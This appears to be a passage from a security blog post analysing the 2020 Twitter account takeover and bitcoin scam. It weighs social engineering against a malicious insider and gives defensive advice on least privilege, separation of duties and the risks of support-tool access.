As with any public attack, the Twitter-verse (ironically) was abuzz with speculation. That speculation ramped up when Twitter took the reasonable step of preventing any verified account from tweeting for about three hours.
This step helped prevent any additional scam tweets from being published and further raised the profile of this attack.
While some might shy away from raising the profile of an attack, this was a reasonable trade-off to prevent further damage to affected accounts and to help prevent the attack from taking more ground.
This move also provided a hint as to what was going on. If individual accounts were being attacked, it’s unlikely that this type of movement would’ve done much to prevent the attacker from gaining access. However, if the attacker was accessing a backend system, this mitigation would be effective.
Had Twitter itself been hacked?
Occam’s Razor
When imagining attack scenarios, a direct breach of the main service is a scenario that is often examined in-depth, which is also why it is one of the most planned for scenarios.
Twitter — like any company — has challenges with its systems, but they center primarily around content moderation…their backend security is top-notch.
An example of this an incident in 2018. Twitter engineers made a mistake that meant anyone’s password could have been exposed in their internal logs. Just in case, Twitter urged everyone to reset their password.
While possible, it’s unlikely that Twitter’s backend systems were directly breached. There is a much simpler potential explanation: insider access.
Internal Screenshot
Quickly after the attack, some in the security community noticed a screenshot of an internal support tool from Twitter surfacing in underground discussion forums. This rare inside view showed what appeared to be what a Twitter support team member would see.
“We used a rep that literally done all the work for us.”
Anonymous Source
What remains unclear is whether this is a case of social engineering (tricking a privileged insider into taking action) or a malicious insider (someone internally motivated to attack the system).
The difference is important for other defenders out there.
The investigation is ongoing, and Twitter continues to provide updates via @TwitterSupport;
Social Engineering
Donnie Sullivan from CNN has a fantastic interview with the legendary Rachel Tobac showing how simple social engineering can be and the dangerous impact it can have;
If this attack was conducted through social engineering, the security team at Twitter would need to implement additional processes and controls to ensure that it doesn’t happen again.
Such a situation is what your team also needs to look at. While password resets, account closures, data transfers, and other critical processes are at particular risk of social engineering, financial transactions are atop the cybercriminal’s target list.
Adding additional side-channel confirmations, additional steps for verifications, firm and clear approvals and other process steps can help organizations mitigate these types of social engineering attacks.
Malicious Insider
If the attack turns out to be from a malicious insider. Defenders need to take a different approach.
Malicious insiders are both a security problem and human resource one.
From the security perspective, two key principles help mitigate the potential of these attacks;
Making sure that individuals only have the technical access needed to complete their assigned tasks, and only that access is key to limiting this potential attack. Combined with the smart separation of duties (one person to request a change, another to approval it), this significantly reduces the possibility of these attacks causing harm.
The other—and not often spoken of—side of these attacks is the reason behind the malicious intent. Some people are just malicious, and when presented with an opportunity, they will take it.
Other times, it’s an employee that feels neglected, passed over, or is disgruntled in some other way. A strong internal community, regular communication, and a strong HR program can help address these issues before they escalate to the point where aiding a cybercriminal becomes an enticing choice.
Support Risks
Underlying this whole situation is a more challenging issue; the level of access that support has to any given system.
It’s easy to think of a Twitter account as “yours.” It’s not. It’s part of a system run by a company that needs to monitor the health of the system, respond to support issues, and aid law enforcement when legally required.
All of these requirements necessitate a level of access that most don’t think about.
How often are you sharing sensitive information via direct message? Those messages are most likely accessible by support.
What’s to prevent them from accessing any given account or message at any time? We don’t know.
Hopefully, Twitter—and others—have clear guardrails (technical and policy-based) in place to prevent abuse of support access, and they regularly audit them.
It’s a hard balance to strike. User trust is at stake but also the viability of running a service.
Clear, transparent policies and controls are the keys to success here.
Abuse can be internal or external. Support teams typically have privileged access but are also among the lowest paid in the organization. Support—outside of the SRE community—is usually seen as entry-level.
These teams have highly sensitive access, and when things go south, can do a lot of harm. Again, the principles of least privilege, separation of duties, and a strong set of policies can help.
What’s Next?
In the coming days, more details of the attack will surface. In the meantime, the community is still struggling to reconcile the level of access gained and how it was used.
Getting access to some of the world’s most prominent accounts and then conducting a bitcoin scam? Based on the bitcoin transactions, it appears the cybercriminals made off with a little over USD 100,000. Not insignificant, but surely there were other opportunities?
Occam’s razor can help here again. Bitcoin scams and coin miners are the most direct method fo cybercriminals to capitalized on their efforts. Given the high profile nature of the attack, the time before the discovery was always going to be sure. This may have been the “safest” bet for the criminal(s) to profit from this hack.
In the end, it’s a lesson for users of social networks and other services; even if you take all of the reasonable security precautions, you are relying on the service itself to help protect you. That might not always hold true.
It’s a harsh reminder that the very tooling you put in place to run your service may be its biggest risk for service providers and defenders…a risk that’s often overlooked and underestimated.
